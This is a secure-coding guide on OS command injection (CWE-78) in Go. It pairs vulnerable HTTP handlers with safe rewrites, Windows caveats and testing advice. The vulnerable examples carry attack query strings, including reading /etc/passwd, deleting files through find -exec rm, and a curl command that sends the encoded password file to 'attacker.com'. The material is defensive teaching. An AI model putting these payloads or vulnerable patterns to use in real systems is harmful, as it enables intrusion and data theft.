Skip to content

CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') - Go

Overview

OS Command Injection in Go applications occurs when untrusted data is incorporated into system commands executed via the os/exec package without proper validation. Unlike languages with implicit shell invocation, Go's exec.Command() does not invoke a shell by default when provided with a command and separate arguments. Developers can still create vulnerabilities by explicitly invoking shells (sh, bash, cmd.exe) or concatenating user input into the string those shells receive.

exec.Command("cmd", "arg1", "arg2") passes arguments directly to the executable without shell interpretation, preventing most injection attacks. Using exec.Command("sh", "-c", userInput) or similar patterns bypasses this protection and enables injection.

The Go ecosystem strongly encourages using native Go libraries (net/http, os, io/fs, archive/zip) instead of shelling out to system commands. Since Go is compiled and cross-platform, most operations that require shell commands in scripting languages can be accomplished with pure Go code.

Primary Defence: Use Go's native libraries (os, io/fs, net/http) instead of executing commands. If command execution is unavoidable, use exec.Command() with separate arguments (never invoke a shell), and validate inputs with allowlists.

Common Vulnerable Patterns

Invoking Shell with User Input

// VULNERABLE - Using shell to execute commands
package main

import (
    "net/http"
    "os/exec"
)

func pingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")

    // DANGEROUS: Invoking shell allows command injection
    cmd := exec.Command("sh", "-c", "ping -c 4 "+host)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /ping?host=8.8.8.8%3B%20cat%20/etc/passwd
// (%3B is ';'. Sent raw, Go's query parser drops the whole pair and host is "")
// Executes: sh -c "ping -c 4 8.8.8.8; cat /etc/passwd"
// Result: Runs both ping and cat commands

Why this is vulnerable: Using sh -c or bash -c processes the entire string through a shell, enabling injection via shell metacharacters (;, |, &&, ||, $(), backticks). Even quoted arguments can be escaped. The shell interprets user input as executable code: everything after the ; in the attack above runs as a second command.

String Concatenation in Command Arguments

// VULNERABLE - Concatenating user input into arguments
func searchFiles(w http.ResponseWriter, r *http.Request) {
    pattern := r.URL.Query().Get("pattern")

    // DANGEROUS: String concatenation can enable shell interpretation
    cmd := exec.Command("sh", "-c", "find /var/data -name "+pattern)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /search?pattern=*.txt%20-exec%20rm%20{}%20\%3B
// Executes: find /var/data -name *.txt -exec rm {} \;
// Result: Deletes all .txt files

Why this is vulnerable: While exec.Command() with discrete arguments is safe, using sh -c with concatenated strings defeats that protection. The shell interprets wildcards, redirects (>, <), pipes (|), and command substitution ($()), so the pattern argument controls the structure of the command, not just what it searches for.

Windows cmd.exe with User Input

// VULNERABLE - Windows command prompt injection
func listDirectory(w http.ResponseWriter, r *http.Request) {
    dir := r.URL.Query().Get("dir")

    // DANGEROUS: cmd.exe allows command chaining
    cmd := exec.Command("cmd", "/C", "dir "+dir)
    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /list?dir=C:\%20%26%20whoami
// (%26 is '&'. Sent raw, it ends the parameter and dir is just "C:\ ")
// Executes: cmd /C "dir C:\ & whoami"
// Result: Lists directory and reveals current user

Why this is vulnerable: Windows cmd.exe uses &, &&, ||, and | for command chaining and pipes. The /C flag executes the string and terminates, but concatenated user input becomes part of the command sequence. Attackers can chain commands, redirect output to files, or start another interpreter such as PowerShell.

fmt.Sprintf() with Command Construction

// VULNERABLE - Building commands with fmt.Sprintf
func compressFile(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")

    // DANGEROUS: fmt.Sprintf creates injectable command string
    cmdStr := fmt.Sprintf("tar czf /tmp/backup.tar.gz %s", filename)
    cmd := exec.Command("sh", "-c", cmdStr)

    err := cmd.Run()
    if err != nil {
        http.Error(w, err.Error(), 500)
        return
    }

    w.WriteHeader(http.StatusOK)
}

// Attack example:
// GET /compress?file=/var/log/app.log%3B%20curl%20attacker.com/exfil?data=$(cat%20/etc/passwd%20|%20base64)
// Result: Sends password file to attacker's server

Why this is vulnerable: fmt.Sprintf() performs simple string formatting without escaping shell metacharacters. Combined with sh -c, it allows injection of command separators, subshells, and output redirection. Even if the format string looks safe, user input can break out of quotes and inject new commands.

Caller-Chosen Executable (No Shell Involved)

// VULNERABLE - the request decides which program runs
func diagnosticHandler(w http.ResponseWriter, r *http.Request) {
    tool := r.URL.Query().Get("tool") // expected: "ping" or "traceroute"
    target := r.URL.Query().Get("target")

    output, err := exec.Command(tool, target).CombinedOutput()
    if err != nil {
        http.Error(w, "Diagnostic failed", http.StatusInternalServerError)
        return
    }

    w.Write(output)
}

// Attack example:
// GET /diag?tool=rm&target=/srv/app/data/app.db
// Result: rm runs with the application's privileges and deletes the database

Why this is vulnerable: There is no shell here, and exec.Command() is doing exactly what it promises, which is why this passes a review that is looking for sh -c. The problem is the first argument. tool=rm deletes whatever target names, and tool=sh or tool=python3 with the path of a file the attacker uploaded runs their code. Without a shell the attacker cannot chain a second command on the same line, but they do not need to. The executable does not have to come from the request, either: a program path read from a config file, a database column or an environment variable is the same finding if anyone outside the deployment can change it.

Secure Patterns

// SECURE - Use Go's net package instead of ping command
package main

import (
    "archive/tar"
    "compress/gzip"
    "encoding/json"
    "io"
    "io/fs"
    "log"
    "net"
    "net/http"
    "net/netip"
    "os"
    "path/filepath"
    "strings"
    "time"
)

type PingResult struct {
    Host      string `json:"host"`
    Reachable bool   `json:"reachable"`
    Latency   string `json:"latency,omitempty"`
}

func pingHandler(w http.ResponseWriter, r *http.Request) {
    // An address, not a hostname: a name is resolved, and could resolve anywhere
    addr, err := netip.ParseAddr(r.URL.Query().Get("host"))
    if err != nil {
        http.Error(w, "Invalid IP address", http.StatusBadRequest)
        return
    }

    // SECURE - Use Go's net package instead of ping command. This is a TCP
    // connect to port 80, not ICMP: it answers "is a web server listening there"
    dialer := net.Dialer{Timeout: 5 * time.Second}
    start := time.Now()
    conn, err := dialer.DialContext(r.Context(), "tcp", net.JoinHostPort(addr.String(), "80"))
    latency := time.Since(start)

    result := PingResult{Host: addr.String()}
    if err != nil {
        // The dial error names addresses and reasons; keep it in the log
        log.Printf("reachability check to %s: %v", addr, err)
    } else {
        result.Reachable = true
        result.Latency = latency.String()
        conn.Close()
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(result)
}

// SECURE - File operations with io/fs instead of shell commands
func listFiles(w http.ResponseWriter, r *http.Request) {
    dirPath := r.URL.Query().Get("dir")

    // Validate path is within allowed directory
    allowedBase := "/var/data"
    cleanRel := filepath.Clean(string(os.PathSeparator) + dirPath)
    fullPath := filepath.Join(allowedBase, cleanRel)

    if fullPath != allowedBase && !strings.HasPrefix(fullPath, allowedBase+string(os.PathSeparator)) {
        http.Error(w, "Invalid directory", http.StatusBadRequest)
        return
    }

    // SECURE - Use os.ReadDir instead of ls/dir command
    entries, err := os.ReadDir(fullPath)
    if err != nil {
        http.Error(w, "Cannot read directory", http.StatusInternalServerError)
        return
    }

    var files []string
    for _, entry := range entries {
        files = append(files, entry.Name())
    }

    w.Header().Set("Content-Type", "application/json")
    json.NewEncoder(w).Encode(files)
}

// SECURE - Archive operations with archive/tar instead of tar command
func createTarball(w http.ResponseWriter, r *http.Request) {
    sourceDir := r.URL.Query().Get("dir")
    allowedBase := "/var/data"
    cleanRel := filepath.Clean(string(os.PathSeparator) + sourceDir)
    safeSourceDir := filepath.Join(allowedBase, cleanRel)
    if safeSourceDir != allowedBase && !strings.HasPrefix(safeSourceDir, allowedBase+string(os.PathSeparator)) {
        http.Error(w, "Invalid directory", http.StatusBadRequest)
        return
    }

    // Check before streaming: once the archive starts, the status is sent
    if info, err := os.Stat(safeSourceDir); err != nil || !info.IsDir() {
        http.Error(w, "Directory not found", http.StatusNotFound)
        return
    }

    // SECURE - Use archive/tar package, streamed to the client: no file on
    // disk, so no shared path in /tmp for anyone else to create first
    w.Header().Set("Content-Type", "application/gzip")
    gzWriter := gzip.NewWriter(w)
    tarWriter := tar.NewWriter(gzWriter)

    err := filepath.WalkDir(safeSourceDir, func(path string, d fs.DirEntry, err error) error {
        if err != nil {
            return err
        }
        info, err := d.Info()
        if err != nil {
            return err
        }
        // Regular files and directories only: os.Open follows a symlink, and
        // its target can be outside /var/data
        if !info.Mode().IsRegular() && !info.IsDir() {
            return nil
        }
        rel, err := filepath.Rel(safeSourceDir, path)
        if err != nil || rel == "." {
            return err
        }

        header, err := tar.FileInfoHeader(info, "")
        if err != nil {
            return err
        }
        // FileInfoHeader sets only the base name; keep the directory structure
        header.Name = filepath.ToSlash(rel)
        if info.IsDir() {
            header.Name += "/"
        }
        if err := tarWriter.WriteHeader(header); err != nil {
            return err
        }
        if info.IsDir() {
            return nil
        }

        file, err := os.Open(path)
        if err != nil {
            return err
        }
        _, err = io.Copy(tarWriter, file)
        file.Close()
        return err
    })
    if err == nil {
        err = tarWriter.Close()
    }
    if err == nil {
        err = gzWriter.Close()
    }
    if err != nil {
        // The status line has already gone; a truncated archive fails to
        // decompress on the client, and the cause belongs in the log
        log.Printf("archive of %s: %v", safeSourceDir, err)
    }
}

Why this works: Using Go's native packages (net, os, io/fs, archive/tar) removes command execution from the handler entirely. These libraries operate directly through system calls and APIs rather than spawning shell processes, making metacharacter injection impossible. This is the preferred solution - avoid os/exec entirely when Go provides equivalent functionality.

Removing the command leaves the handler's other inputs to answer for. pingHandler still connects wherever the caller says, exactly as the ping it replaces did, so it is a probe of your internal network for anyone who can call it: accept only addresses, as here, and if the caller is not trusted, restrict which ranges it may reach - see CWE-918 - Go. The dial error stays in the log because it tells the caller why an internal host did not answer. createTarball streams its archive rather than writing a fixed file under /tmp, which another local user could have created first as a symlink to somewhere else.

exec.Command with Separate Arguments (No Shell)

// SECURE - Use exec.Command with discrete arguments, no shell
package main

import (
    "context"
    "net/http"
    "os/exec"
    "regexp"
    "strconv"
    "strings"
    "time"
)

// Allowlist validation for IP addresses
var ipv4Regex = regexp.MustCompile(`^(\d{1,3}\.){3}\d{1,3}$`)

func securePingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")

    // Validate input against allowlist pattern
    if !ipv4Regex.MatchString(host) {
        http.Error(w, "Invalid IP address format", http.StatusBadRequest)
        return
    }

    // Additional validation: check octets are 0-255
    parts := strings.Split(host, ".")
    for _, part := range parts {
        num, err := strconv.Atoi(part)
        if err != nil || num < 0 || num > 255 {
            http.Error(w, "Invalid IP address", http.StatusBadRequest)
            return
        }
    }

    // SECURE - exec.Command with separate arguments - NO SHELL
    // Arguments are passed directly to ping, not interpreted by shell
    ctx, cancel := context.WithTimeout(context.Background(), 10*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "ping", "-c", "4", host)

    output, err := cmd.CombinedOutput()
    if err != nil {
        // Don't expose raw error to user
        http.Error(w, "Ping failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: exec.Command("ping", "-c", "4", host) passes each argument directly to the ping executable without shell interpretation. Go's os/exec constructs an argument vector (argv) where host is a discrete string parameter, not parsed for shell metacharacters. Even if host contains ;, |, or $(), they're treated as literal characters in the argument. The timeout context prevents resource exhaustion, and input validation provides defense-in-depth by rejecting malformed IPs before execution.

Map the Requested Tool to a Fixed Invocation

// SECURE - the request picks a key; the application picks the program
package main

import (
    "context"
    "errors"
    "net/http"
    "net/netip"
    "os/exec"
    "slices"
    "time"
)

var diagnosticTools = map[string][]string{
    "ping":       {"/usr/bin/ping", "-c", "4"},
    "traceroute": {"/usr/bin/traceroute", "-n"},
}

// diagnosticCommand returns the complete argv, or an error before anything runs.
func diagnosticCommand(tool, target string) ([]string, error) {
    invocation, ok := diagnosticTools[tool]
    if !ok {
        return nil, errors.New("unknown tool")
    }

    // ParseAddr accepts only an address, so the value cannot begin with '-'
    addr, err := netip.ParseAddr(target)
    if err != nil {
        return nil, errors.New("invalid IP address")
    }

    // Clone before appending, so a request never writes into the shared table
    return append(slices.Clone(invocation), addr.String()), nil
}

func diagnosticHandler(w http.ResponseWriter, r *http.Request) {
    argv, err := diagnosticCommand(r.URL.Query().Get("tool"), r.URL.Query().Get("target"))
    if err != nil {
        http.Error(w, err.Error(), http.StatusBadRequest)
        return
    }

    ctx, cancel := context.WithTimeout(r.Context(), 10*time.Second)
    defer cancel()

    output, err := exec.CommandContext(ctx, argv[0], argv[1:]...).CombinedOutput()
    if err != nil {
        http.Error(w, "Diagnostic failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: The caller's string is only ever a map key. The executable and its fixed options come from diagnosticTools, so rm, sh or /bin/sh finds no entry and is rejected before a process starts. The table holds absolute paths, so PATH does not get to decide which binary runs. The whole invocation is fixed except for one operand, and netip.ParseAddr() accepts only an IP address, which cannot begin with -. It also rejects leading zeros such as 010.0.0.1, an ambiguous form that some parsers read as octal. Keeping the lookup in diagnosticCommand means the handler has only two outcomes - a 400 before any process exists, or a process built from the table - and it gives a test the argv to assert on without running anything. slices.Clone needs Go 1.21.

Input Validation with Allowlist

// SECURE - Allowlist validation for command arguments
package main

import (
    "context"
    "net/http"
    "os/exec"
    "time"
)

// Allowlist of safe file patterns
var allowedPatterns = map[string]bool{
    "*.log":  true,
    "*.txt":  true,
    "*.json": true,
}

// Allowlist of safe directories
var allowedDirs = map[string]bool{
    "/var/log/app":  true,
    "/var/data/app": true,
}

func findFilesHandler(w http.ResponseWriter, r *http.Request) {
    pattern := r.URL.Query().Get("pattern")
    directory := r.URL.Query().Get("dir")

    // SECURE - Validate against allowlists
    if !allowedPatterns[pattern] {
        http.Error(w, "Pattern not allowed", http.StatusBadRequest)
        return
    }

    if !allowedDirs[directory] {
        http.Error(w, "Directory not allowed", http.StatusBadRequest)
        return
    }

    // SECURE - Validated inputs + separate arguments + no shell
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "find", directory, "-name", pattern, "-type", "f")

    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Search failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: Allowlist validation rejects any input not explicitly permitted, preventing injection of command options (like -exec), shell metacharacters, or path traversal sequences. Only the pre-approved map values reach exec.Command(). Separate arguments mean no shell parses them, and the timeout context stops a slow find from holding the handler open.

Filename Validation with Allowlist

// SECURE - Simple filename validation for command arguments
package main

import (
    "context"
    "net/http"
    "os/exec"
    "path/filepath"
    "regexp"
    "strings"
    "time"
)

// Allowlist for safe filenames (no path components). The first character
// cannot be '-', or the name is read as an option by any command it reaches.
var safeFilenameRegex = regexp.MustCompile(`^[a-zA-Z0-9_\.][a-zA-Z0-9_\-\.]*$`)

func processFileHandler(w http.ResponseWriter, r *http.Request) {
    filename := r.URL.Query().Get("file")

    // SECURE - Allowlist validation - only simple filenames
    if !safeFilenameRegex.MatchString(filename) {
        http.Error(w, "Invalid filename", http.StatusBadRequest)
        return
    }

    // Reject filenames with path separators
    if strings.Contains(filename, "/") || strings.Contains(filename, "\\") {
        http.Error(w, "Path separators not allowed", http.StatusBadRequest)
        return
    }

    // Build full path within allowed directory
    allowedDir := "/var/app/uploads"
    fullPath := filepath.Join(allowedDir, filename)

    // SECURE - Use validated path with separate arguments
    ctx, cancel := context.WithTimeout(context.Background(), 30*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "file", "--brief", fullPath)

    output, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "Command failed", http.StatusInternalServerError)
        return
    }

    w.Header().Set("Content-Type", "text/plain")
    w.Write(output)
}

Why this works: The regex accepts only alphanumerics, dash, underscore and dot, so no shell metacharacter survives validation, and the first-character class keeps out names beginning with -, which a command would read as an option. Explicitly rejecting path separators prevents directory traversal. For comprehensive path traversal prevention (canonicalization, symlink resolution, boundary checks), see CWE-22 - Go.

Framework-Specific Guidance

Gin Web Framework

// SECURE - Gin framework with command injection protection
package main

import (
    "context"
    "net/http"
    "os"
    "os/exec"
    "regexp"
    "runtime"
    "time"

    "github.com/gin-gonic/gin"
)

// The first character cannot be '-'. exec.Command passes the slice through
// untouched, so "-debug" would reach ping as an option, not a host (CWE-88).
var hostnameRegex = regexp.MustCompile(`^[a-zA-Z0-9][a-zA-Z0-9\-\.]*$`)

func main() {
    r := gin.Default()

    // Middleware for request timeout
    r.Use(func(c *gin.Context) {
        ctx, cancel := context.WithTimeout(c.Request.Context(), 30*time.Second)
        defer cancel()
        c.Request = c.Request.WithContext(ctx)
        c.Next()
    })

    r.GET("/ping", pingEndpoint)
    r.GET("/sysinfo", sysinfoEndpoint)

    r.Run(":8080")
}

func pingEndpoint(c *gin.Context) {
    host := c.Query("host")

    // Validate hostname format
    if !hostnameRegex.MatchString(host) {
        c.JSON(http.StatusBadRequest, gin.H{"error": "Invalid hostname"})
        return
    }

    // SECURE - exec.Command with separate arguments
    ctx, cancel := context.WithTimeout(c.Request.Context(), 10*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "ping", "-c", "3", "-W", "2", host)

    output, err := cmd.CombinedOutput()
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Ping failed"})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "host":   host,
        "output": string(output),
    })
}

// SECURE - Better approach - use Go native libraries
func sysinfoEndpoint(c *gin.Context) {
    // Use os package instead of system commands
    hostname, err := os.Hostname()
    if err != nil {
        c.JSON(http.StatusInternalServerError, gin.H{"error": "Failed to get hostname"})
        return
    }

    c.JSON(http.StatusOK, gin.H{
        "hostname": hostname,
        "os":       runtime.GOOS,
        "arch":     runtime.GOARCH,
    })
}

Why this works: Gin's context integration allows request timeouts to cascade to child exec.CommandContext() calls, preventing hung processes. Input validation with regex allowlisting ensures only safe hostnames reach the command. JSON responses prevent any command output from being interpreted as HTML. The sysinfo endpoint shows the better pattern: native Go libraries (os.Hostname(), runtime.GOOS) rather than system commands.

Echo Framework

// SECURE - Echo framework with validation middleware
package main

import (
    "context"
    "net/http"
    "os/exec"
    "regexp"
    "time"

    "github.com/labstack/echo/v4"
    "github.com/labstack/echo/v4/middleware"
)

var alphanumericRegex = regexp.MustCompile(`^[a-zA-Z0-9]+$`)

func main() {
    e := echo.New()

    // Middleware
    e.Use(middleware.Logger())
    e.Use(middleware.Recover())
    e.Use(middleware.TimeoutWithConfig(middleware.TimeoutConfig{
        Timeout: 30 * time.Second,
    }))

    e.GET("/check/:service", checkService)

    e.Logger.Fatal(e.Start(":8080"))
}

// Allowlist of services
var allowedServices = map[string]string{
    "web":      "nginx",
    "database": "postgresql",
    "cache":    "redis",
}

func checkService(c echo.Context) error {
    service := c.Param("service")

    // SECURE - Allowlist validation
    processName, ok := allowedServices[service]
    if !ok {
        return c.JSON(http.StatusBadRequest, map[string]string{
            "error": "Unknown service",
        })
    }

    // SECURE - exec.Command with validated input, no shell
    ctx, cancel := context.WithTimeout(c.Request().Context(), 5*time.Second)
    defer cancel()

    cmd := exec.CommandContext(ctx, "pgrep", "-c", processName)

    output, err := cmd.CombinedOutput()
    if err != nil {
        // pgrep returns non-zero if process not found
        return c.JSON(http.StatusOK, map[string]interface{}{
            "service": service,
            "running": false,
        })
    }

    return c.JSON(http.StatusOK, map[string]interface{}{
        "service": service,
        "running": true,
        "count":   string(output),
    })
}

Why this works: Echo's built-in timeout middleware automatically cancels long-running requests, propagating cancellation to exec.CommandContext(). The allowlist maps user-facing service names to actual process names, so whatever an attacker puts in the URL parameter, only nginx, postgresql or redis reaches pgrep. The separate arguments pattern ensures no shell expansion occurs.

Considerations

Not naming a shell does not finish the finding. exec.Command() with discrete arguments stops the shell from parsing the value. It does not stop the program you launched from parsing it. The find example above allowlists both arguments for exactly this reason: find reads -exec as an option, so a permissive pattern argument is command execution with no shell anywhere in the call. Before closing a CWE-78 finding, ask what the target program does with a value starting with -, and either reject those values or place -- ahead of the user-controlled arguments where the program supports it. What is left is CWE-88.

The program itself is part of the judgement. exec.Command("ping", "-c", "4", host) and exec.Command("python3", script) have the same shape and very different exposure: the second hands its argument to an interpreter, so any value is code. The same applies to shell-script wrappers, which re-enter a shell one layer below the Go code.

On Windows, a .bat target puts the shell back. Windows has no argv array at the system-call level: CreateProcess takes a single command-line string and the child re-parses it. os/exec builds that string, and for a native executable it round-trips correctly - measured on Go 1.25 / Windows 11, an argument of x"&echo INJECTED& arrives at an .exe intact as one argument.

Point the same call at a batch file and it does not. exec.Command("show.bat", "x\"&echo INJECTED&") executes echo INJECTED, because cmd.exe parses the command line for a .bat or .cmd. Go does not escape for cmd.exe here and does not refuse the call; Node.js (CVE-2024-27980) and PHP (CVE-2024-1874) shipped runtime fixes for the same defect class. If a Windows deployment shells out through a batch wrapper, treat that wrapper as a shell: call the real executable directly, or validate the arguments against cmd.exe parsing rules rather than against the C runtime's.

One Windows behaviour that Go did harden: since Go 1.19, exec.Command will not run a bare program name found in the current directory, so a writable working directory is no longer a way to substitute the binary. Measured on Go 1.25 / Windows 11, exec.Command("argv.exe") with the file sitting in the working directory fails with exec: "argv.exe": cannot run executable found relative to current directory, which errors.Is(err, exec.ErrDot) matches. Python, Node.js, PHP, Java and .NET all run it. If NoDefaultCurrentDirectoryInExePath is set, Go does not look in the working directory at all and the error is executable file not found in %PATH% instead.

PATH itself is still searched. The examples on this page write ping and similar tools without a path, for readability; pin the absolute path in production, as the mapping-table example does. What a bare name risks is CWE-426, and the generic page covers when it matters.

Testing

Drive the handlers with httptest.NewRecorder() and build every query with url.Values{...}.Encode(), never by hand. Go's query parser drops a pair that contains a raw ;, so ?host=8.8.8.8;%20id reaches securePingHandler as an empty string and gets a 400 for the wrong reason - the test passes whether or not the validator works.

  • Program choice: diagnosticCommand("rm", "8.8.8.8"), and the same call with "sh", "/bin/sh", "PING" or "", returns an error, and diagnosticHandler answers each with 400. The handler cannot reach exec.CommandContext without a successful diagnosticCommand, so the 400 also means no process was started.
  • Program selected: diagnosticCommand("ping", "8.8.8.8") returns exactly ["/usr/bin/ping", "-c", "4", "8.8.8.8"]. Assert on the argv rather than on output, because a call that ran the wrong binary can still exit 0.
  • Argument injection: a target of -debug gets 400 from both diagnosticHandler and securePingHandler, a pattern of -exec gets 400 from findFilesHandler, and a file of -rf gets 400 from processFileHandler. None of these contains a shell metacharacter, so the payload below does not cover them.
  • Octet bounds: a host of 999.1.1.1 gets 400 from securePingHandler. The regex alone accepts it; this is what covers the numeric check beside it.
  • Shell payload: a host of 8.8.8.8; id, encoded, gets 400 from securePingHandler.
  • Normal input: 127.0.0.1 through securePingHandler, and *.log in /var/log/app through findFilesHandler, get something other than 400. A handler that rejects everything passes every assertion above, so this is what shows the validation lets real work through.

Common Pitfalls

  • Calling exec.Command("sh", "-c", validatedInput) or exec.Command("bash", "-c", validatedInput) and treating validation as sufficient because exec.Command() "doesn't invoke a shell by default" - naming sh -c (or bash -c) explicitly still hands the string to a shell; the no-shell property only holds when the shell interpreter itself isn't the program being run.
  • Writing an allowlist regex that is broader than the target command actually needs (allowing spaces, $, or backticks "for usability") - a permissive character class can still let through characters that are meaningful to a shell invoked further downstream, such as inside a wrapper script.
  • Keeping validated arguments as separate exec.Command elements at the call site, but passing one of them through fmt.Sprintf into a wrapper script that performs its own sh -c re-parsing internally - the injection point moves one layer down, into the wrapper script the Go code no longer controls directly.

Additional Resources